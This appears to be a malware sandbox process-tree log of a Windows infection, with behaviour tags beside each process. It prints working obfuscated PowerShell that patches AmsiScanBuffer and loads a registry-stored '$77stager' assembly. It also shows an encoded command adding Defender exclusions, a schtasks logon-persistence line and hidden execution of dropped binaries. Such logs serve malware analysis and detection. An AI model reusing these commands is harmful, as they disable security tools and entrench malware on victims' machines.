C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1168
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XDnmLBexBtad{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WQTicWdrecJDyK,[Parameter(Position=1)][Type]$kcOOgEUIPP)$whlKiWFmrFv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+'c'+[Char](116)+'e'+[Char](100)+''+'D'+''+'e'+''+'l'+'e'+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+'M'+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+[Char](77)+''+'o'+'d'+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+'c'+''+','+'Se'+'a'+'le'+[Char](100)+''+','+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+'ss',[MulticastDelegate]);$whlKiWFmrFv.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'pe'+[Char](99)+''+'i'+''+[Char](97)+''+'l'+''+[Char](78)+''+'a'+''+'m'+''+'e'+''+[Char](44)+''+[Char](72)+'id'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+'ig'+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$WQTicWdrecJDyK).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'ti'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$whlKiWFmrFv.DefineMethod('Inv'+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'Hi'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'Ne'+[Char](119)+''+[Char](83)+''+'l'+''+'o'+''+[Char](116)+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$kcOOgEUIPP,$WQTicWdrecJDyK).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'ti'+[Char](109)+''+[Char](101)+','+'M'+''+'a'+'n'+[Char](97)+''+[Char](103)+'ed');Write-Output $whlKiWFmrFv.CreateType();}$aLJBwNvNCLAGu=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+'t'+[Char](101)+''+'m'+'.'+[Char](100)+''+'l'+'l')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+'f'+''+'t'+''+'.'+''+[Char](87)+'i'+[Char](110)+'32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+''+'a'+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$ZntrQcrqxrggMt=$aLJBwNvNCLAGu.GetMethod('G'+[Char](101)+'t'+[Char](80)+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$IGaFROGjJiiIOWHkIiq=XDnmLBexBtad @([String])([IntPtr]);$KUPQNFNTnXzGxBdWKAqvxI=XDnmLBexBtad @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oyfhBtVsCWA=$aLJBwNvNCLAGu.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$VFEOBQDaIHkZdK=$ZntrQcrqxrggMt.Invoke($Null,@([Object]$oyfhBtVsCWA,[Object](''+'L'+'oadL'+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$vdOtrSchBOLueNIlM=$ZntrQcrqxrggMt.Invoke($Null,@([Object]$oyfhBtVsCWA,[Object]('V'+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+'l'+''+[Char](80)+'ro'+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$ywRRDUS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VFEOBQDaIHkZdK,$IGaFROGjJiiIOWHkIiq).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+'d'+'l'+''+'l'+'');$EJuqAOXozmSAunlrO=$ZntrQcrqxrggMt.Invoke($Null,@([Object]$ywRRDUS,[Object]('A'+[Char](109)+''+'s'+''+'i'+''+'S'+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+'f'+[Char](102)+''+'e'+''+[Char](114)+'')));$IVVFpWjQAQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vdOtrSchBOLueNIlM,$KUPQNFNTnXzGxBdWKAqvxI).Invoke($EJuqAOXozmSAunlrO,[uint32]8,4,[ref]$IVVFpWjQAQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EJuqAOXozmSAunlrO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vdOtrSchBOLueNIlM,$KUPQNFNTnXzGxBdWKAqvxI).Invoke($EJuqAOXozmSAunlrO,[uint32]8,0x20,[ref]$IVVFpWjQAQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OF'+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+'s'+''+'t'+''+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBhAGkAdABIAGEAbgBkAGwAZQBcAFQAeQBwAGUASQBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBhAGkAdABIAGEAbgBkAGwAZQBcAFQAeQBwAGUASQBkAC4AZQB4AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2388
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XlmfBrNAMeix{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$SNjidkBtDfuTNc,[Parameter(Position=1)][Type]$yqDjAEzNpc)$XfDRZmPTcxA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+'e'+'g'+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+'ory'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+'u'+''+'b'+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+'e'+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+'l'+''+'a'+''+'s'+'s,A'+[Char](117)+''+'t'+''+'o'+''+'C'+''+[Char](108)+'ass',[MulticastDelegate]);$XfDRZmPTcxA.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'lN'+'a'+'m'+'e'+''+','+''+'H'+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'Pu'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$SNjidkBtDfuTNc).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$XfDRZmPTcxA.DefineMethod(''+[Char](73)+'nv'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'ide'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+'ot'+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+'l'+'',$yqDjAEzNpc,$SNjidkBtDfuTNc).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+',M'+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');Write-Output $XfDRZmPTcxA.CreateType();}$XkjyhlnmvZcto=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+'a'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+'M'+[Char](101)+''+'t'+''+'h'+''+[Char](111)+''+'d'+''+'s'+'');$EpzDXRqCELhXrA=$XkjyhlnmvZcto.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+'d'+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZeogvFGyrXABwVDLnRK=XlmfBrNAMeix @([String])([IntPtr]);$sbexbtkLDKbngDGlOTUuTo=XlmfBrNAMeix @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OgTXKVptbqk=$XkjyhlnmvZcto.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+'o'+'d'+''+'u'+''+'l'+'eH'+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2.dl'+'l'+'')));$GdiLaxwnsTbmbP=$EpzDXRqCELhXrA.Invoke($Null,@([Object]$OgTXKVptbqk,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+'L'+''+'i'+'b'+'r'+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$hovSaUtFcjgwgQmKt=$EpzDXRqCELhXrA.Invoke($Null,@([Object]$OgTXKVptbqk,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+'c'+'t')));$YmZHJlz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GdiLaxwnsTbmbP,$ZeogvFGyrXABwVDLnRK).Invoke(''+'a'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$cJyGVpdaKYsxWDnty=$EpzDXRqCELhXrA.Invoke($Null,@([Object]$YmZHJlz,[Object](''+'A'+''+[Char](109)+''+[Char](115)+'iS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+'uf'+'f'+'er')));$bPQcDRLoPP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hovSaUtFcjgwgQmKt,$sbexbtkLDKbngDGlOTUuTo).Invoke($cJyGVpdaKYsxWDnty,[uint32]8,4,[ref]$bPQcDRLoPP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$cJyGVpdaKYsxWDnty,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hovSaUtFcjgwgQmKt,$sbexbtkLDKbngDGlOTUuTo).Invoke($cJyGVpdaKYsxWDnty,[uint32]8,0x20,[ref]$bPQcDRLoPP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'RE').GetValue('$7'+'7'+''+[Char](115)+''+[Char](116)+'ag'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:3532
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4724
- C:\Users\Admin\AppData\Roaming\WaitHandle\TypeId.exe
  C:\Users\Admin\AppData\Roaming\WaitHandle\TypeId.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1820
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
    3⤵
    PID:220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1416
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1872

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2772

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2932

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3448

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3524
- C:\Users\Admin\AppData\Local\Temp\59d3bc9ca446bf4fcce3a93cdbce134a.exe
  "C:\Users\Admin\AppData\Local\Temp\59d3bc9ca446bf4fcce3a93cdbce134a.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Users\Admin\AppData\Local\Temp\Install.exe
    "C:\Users\Admin\AppData\Local\Temp\Install.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1404
- - C:\Users\Admin\AppData\Local\Temp\$77svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
      4⤵
      System Location Discovery: System Language Discovery
      PID:1280
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2296
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD2FF.tmp.bat""
      4⤵
      System Location Discovery: System Language Discovery
      PID:4772
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2540
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3404
    - - C:\Users\Admin\AppData\Roaming\WinUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\WinUpdate.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4332
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kuzvch.exe"' & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4408
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2124
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kuzvch.exe"'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3916
        
        C:\Users\Admin\AppData\Local\Temp\kuzvch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\kuzvch.exe"
        8⤵
        Executes dropped EXE
        
        PID:2364
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\qijzoj.exe"' & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3160
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1544
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\qijzoj.exe"'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:2348
        
        C:\Users\Admin\AppData\Local\Temp\qijzoj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\qijzoj.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1876
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:2408
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zgnutm.exe"' & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4884
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zgnutm.exe"'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3464
        
        C:\Users\Admin\AppData\Local\Temp\zgnutm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\zgnutm.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3656

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3996

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1884

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5004

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:964

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops file in System32 directory
PID:4048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4404

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:5108

